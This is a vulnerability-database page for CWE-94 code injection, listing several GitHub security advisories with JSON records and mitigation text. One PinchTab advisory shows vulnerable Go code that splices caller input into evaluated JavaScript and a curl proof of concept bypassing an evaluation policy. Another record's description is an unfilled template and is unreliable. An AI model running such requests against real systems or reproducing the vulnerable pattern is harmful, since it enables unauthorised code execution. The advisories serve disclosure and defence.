Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8289 vulnerabilities reference this CWE, most recent first.

GHSA-W4GC-9X8J-9HJV

Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33
VLAI
Details

From the VSPC management agent machine, under condition that the management agent is authorized on the server, it is possible to perform Remote Code Execution (RCE) on the VSPC server machine.

Severity
9.9 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-42448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T01:59:47Z",
    "severity": "CRITICAL"
  },
  "details": "From the VSPC management agent machine, under condition that the management agent is authorized on the server, it is possible to perform Remote Code Execution (RCE) on the VSPC server machine.",
  "id": "GHSA-w4gc-9x8j-9hjv",
  "modified": "2024-12-12T03:33:03Z",
  "published": "2024-12-12T03:33:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42448"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4679"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4M3-Q5XX-9W7V

Vulnerability from github – Published: 2022-05-17 05:36 – Updated: 2022-05-17 05:36
VLAI
Details

Unrestricted file upload vulnerability in includes/inline_image_upload.php in AutoSec Tools V-CMS 1.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in temp/.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-4828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-12-15T03:57:00Z",
    "severity": "HIGH"
  },
  "details": "Unrestricted file upload vulnerability in includes/inline_image_upload.php in AutoSec Tools V-CMS 1.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in temp/.",
  "id": "GHSA-w4m3-q5xx-9w7v",
  "modified": "2022-05-17T05:36:20Z",
  "published": "2022-05-17T05:36:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4828"
    },
    {
      "type": "WEB",
      "url": "http://bugs.v-cms.org/changelog_page.php"
    },
    {
      "type": "WEB",
      "url": "http://bugs.v-cms.org/view.php?id=53"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46861"
    },
    {
      "type": "WEB",
      "url": "http://www.autosectools.com/Advisory/V-CMS-1.0-Arbitrary-Upload-236"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/50706"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W4P7-9H4J-6H5X

Vulnerability from github – Published: 2022-04-29 02:59 – Updated: 2022-04-29 02:59
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in Sean Proctor PHP-Calendar before 0.10.1, as used in Commonwealth of Massachusetts Virtual Law Office (VLO) and other products, allow remote attackers to execute arbitrary PHP code via a URL in the phpc_root_path parameter to (1) includes/calendar.php or (2) includes/setup.php.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2004-1423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-12-31T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in Sean Proctor PHP-Calendar before 0.10.1, as used in Commonwealth of Massachusetts Virtual Law Office (VLO) and other products, allow remote attackers to execute arbitrary PHP code via a URL in the phpc_root_path parameter to (1) includes/calendar.php or (2) includes/setup.php.",
  "id": "GHSA-w4p7-9h4j-6h5x",
  "modified": "2022-04-29T02:59:33Z",
  "published": "2022-04-29T02:59:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-1423"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/18710"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29710"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/2608"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=110434580716205\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22516"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1017107"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/project/shownotes.php?release_id=296020\u0026group_id=46800"
    },
    {
      "type": "WEB",
      "url": "http://www.gulftech.org/?node=research\u0026article_id=00060-12292004"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/449397/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/12127"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20657"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W4R4-WVRH-XGQG

Vulnerability from github – Published: 2025-09-09 09:31 – Updated: 2025-09-09 09:31
VLAI
Details

The AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the automatorwp_ajax_import_automation_from_url function in all versions up to, and including, 5.3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary automations, which can lead to Remote Code Execution or Privilege escalation once such automation is activated by the administrator

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-9539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T07:15:33Z",
    "severity": "HIGH"
  },
  "details": "The AutomatorWP \u2013 Automator plugin for no-code automations, webhooks \u0026 custom integrations in WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the automatorwp_ajax_import_automation_from_url function in all versions up to, and including, 5.3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary automations, which can lead to Remote Code Execution or Privilege escalation once such automation is activated by the administrator",
  "id": "GHSA-w4r4-wvrh-xgqg",
  "modified": "2025-09-09T09:31:11Z",
  "published": "2025-09-09T09:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9539"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/automatorwp/tags/5.3.6/includes/admin/pages/import-automation.php#L386"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9efa04ca-68c8-4221-a3d9-cf75010d2266?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4RG-9V64-H6W4

Vulnerability from github – Published: 2022-05-17 05:35 – Updated: 2025-04-11 03:53
VLAI
Details

The PageListSort function in scripts/pagelist.php in PmWiki 2.x before 2.2.35 allows remote attackers to execute arbitrary code via PHP sequences in a crafted order parameter in a pagelist directive, leading to unintended use of the PHP create_function function.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-4453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-12-22T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "The PageListSort function in scripts/pagelist.php in PmWiki 2.x before 2.2.35 allows remote attackers to execute arbitrary code via PHP sequences in a crafted order parameter in a pagelist directive, leading to unintended use of the PHP create_function function.",
  "id": "GHSA-w4rg-9v64-h6w4",
  "modified": "2025-04-11T03:53:41Z",
  "published": "2022-05-17T05:35:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4453"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/18149"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/18243"
    },
    {
      "type": "WEB",
      "url": "http://www.pmwiki.org/wiki/PITS/01271"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W4RW-V3MM-HJ8H

Vulnerability from github – Published: 2024-01-17 21:30 – Updated: 2025-10-22 00:32
VLAI
Details

[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]

Severity
5.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-17T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]",
  "id": "GHSA-w4rw-v3mm-hj8h",
  "modified": "2025-10-22T00:32:58Z",
  "published": "2024-01-17T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6548"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-6548"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4VX-2PCG-383R

Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2025-10-22 00:32
VLAI
Details

Windows SmartScreen Security Feature Bypass Vulnerability

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T18:15:51Z",
    "severity": "HIGH"
  },
  "details": "Windows SmartScreen Security Feature Bypass Vulnerability",
  "id": "GHSA-w4vx-2pcg-383r",
  "modified": "2025-10-22T00:32:59Z",
  "published": "2024-02-13T18:38:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21351"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21351"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21351"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4W5-8883-PGQR

Vulnerability from github – Published: 2022-05-01 07:31 – Updated: 2022-05-01 07:31
VLAI
Details

PHP remote file inclusion vulnerability in forgot_pass.php in Free File Hosting 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter. NOTE: this issue was later reported for the "File Upload System" which is a component of Free File Hosting. This also affects Free Image Hosting 2.0, which contains the same code.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2006-5762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-11-06T23:07:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in forgot_pass.php in Free File Hosting 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AD_BODY_TEMP parameter.  NOTE: this issue was later reported for the \"File Upload System\" which is a component of Free File Hosting.  This also affects Free Image Hosting 2.0, which contains the same code.",
  "id": "GHSA-w4w5-8883-pgqr",
  "modified": "2022-05-01T07:31:25Z",
  "published": "2022-05-01T07:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5762"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29874"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33196"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/2670"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/3568"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22594"
    },
    {
      "type": "WEB",
      "url": "http://www.attrition.org/pipermail/vim/2007-March/001473.html"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/30143"
    },
    {
      "type": "WEB",
      "url": "http://www.rahim.webd.pl/exploity/Exploits/111.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/463707/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20781"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23118"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W5P6-GFQF-HH2R

Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-17 15:36
VLAI
Details

"Functions" module in Raytha CMS allows privileged users to write custom code to add functionality to application. Due to a lack of sandboxing or access restrictions, JavaScript code executed through Raytha’s “functions” feature can instantiate .NET components and perform arbitrary operations within the application’s hosting environment.

This issue was fixed in version 1.4.6.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-15540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-16T14:17:55Z",
    "severity": "HIGH"
  },
  "details": "\"Functions\" module in Raytha CMS allows privileged users to\u00a0write custom code to add functionality to application. Due to a lack of sandboxing or access restrictions,\u00a0JavaScript code executed through Raytha\u2019s \u201cfunctions\u201d feature can instantiate .NET components and perform arbitrary operations\u00a0within the application\u2019s hosting environment.\n\nThis issue was fixed in version 1.4.6.",
  "id": "GHSA-w5p6-gfqf-hh2r",
  "modified": "2026-03-17T15:36:19Z",
  "published": "2026-03-16T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15540"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236"
    },
    {
      "type": "WEB",
      "url": "https://raytha.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W5PC-M664-R62V

Vulnerability from github – Published: 2026-03-24 19:43 – Updated: 2026-03-27 21:19
VLAI
Summary
A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution
Details

Summary

PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.

POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.

This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.

The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.

Details

Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:

// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
    return h != nil && h.Config != nil && h.Config.AllowEvaluate
}

func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
    if !h.evaluateEnabled() {
        httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
            "setting": "security.allowEvaluate",
        })
        return
    }
    // ...
}

In the same releases, /wait did not apply that guard before evaluating fn:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
    mode := req.mode()
    if mode == "" {
        httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
        return
    }

    // No evaluateEnabled() check here in affected releases
    // ...
}

Issue 2 — fn mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
    matchLabel = "fn"

// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))

Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.

Issue 3 — Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.

PoC

Prerequisites

  • PinchTab v0.8.3, v0.8.4, or v0.8.5
  • A configured API token
  • security.allowEvaluate = false
  • A reachable tab context, created by the caller or already present

Step 1 — Confirm /evaluate is blocked by policy

curl -s -X POST http://localhost:9867/evaluate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"expression":"1+1"}'

Expected:

{
  "code": "evaluate_disabled"
}

Step 2 — Open a tab

curl -s -X POST http://localhost:9867/navigate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com"}'

Example result:

{
  "tabId": "<TAB_ID>",
  "title": "Example Domain",
  "url": "https://example.com/"
}

Step 3 — Execute JavaScript through /wait using fn mode

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"(function(){window._poc_executed=true;return true})()",
    "timeout":5000
  }'

Example result:

{
  "waited": true,
  "elapsed": 1,
  "match": "fn"
}

Step 4 — Verify the side effect

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"window._poc_executed === true",
    "timeout":3000
  }'

Example result:

{
  "waited": true,
  "elapsed": 0,
  "match": "fn"
}

Observation 1. /evaluate returns evaluate_disabled when security.allowEvaluate is off. 2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases. 3. The first /wait request introduces a side effect in page state. 4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.

Impact

  1. Bypass of the explicit security.allowEvaluate control in v0.8.3 through v0.8.5.
  2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
  3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
  4. Inconsistent security boundaries between /evaluate and /wait, making the configured execution policy unreliable.
  5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.

Suggested Remediation

  1. Make fn mode in /wait enforce the same policy check as /evaluate.
  2. Keep non-code wait modes available when JavaScript evaluation is disabled.
  3. Add regression coverage so the policy boundary remains consistent across endpoints.
Severity
6.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.3"
            },
            {
              "last_affected": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:43:30Z",
    "nvd_published_at": "2026-03-26T21:17:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 \u2014 `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go \u2014 v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n    return h != nil \u0026\u0026 h.Config != nil \u0026\u0026 h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n    if !h.evaluateEnabled() {\n        httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n            \"setting\": \"security.allowEvaluate\",\n        })\n        return\n    }\n    // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n    mode := req.mode()\n    if mode == \"\" {\n        httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n        return\n    }\n\n    // No evaluateEnabled() check here in affected releases\n    // ...\n}\n```\n\n**Issue 2 \u2014 `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\ncase \"fn\":\n    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n    matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, \u0026result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 \u2014 Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 \u2014 Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"expression\":\"1+1\"}\u0027\n```\n\nExpected:\n\n```json\n{\n  \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 \u2014 Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"https://example.com\"}\u0027\n```\n\nExample result:\n\n```json\n{\n  \"tabId\": \"\u003cTAB_ID\u003e\",\n  \"title\": \"Example Domain\",\n  \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 \u2014 Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"tabId\":\"\u003cTAB_ID\u003e\",\n    \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n    \"timeout\":5000\n  }\u0027\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 1,\n  \"match\": \"fn\"\n}\n```\n\n**Step 4 \u2014 Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"tabId\":\"\u003cTAB_ID\u003e\",\n    \"fn\":\"window._poc_executed === true\",\n    \"timeout\":3000\n  }\u0027\n```\n\nExample result:\n\n```json\n{\n  \"waited\": true,\n  \"elapsed\": 0,\n  \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
  "id": "GHSA-w5pc-m664-r62v",
  "modified": "2026-03-27T21:19:00Z",
  "published": "2026-03-24T19:43:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

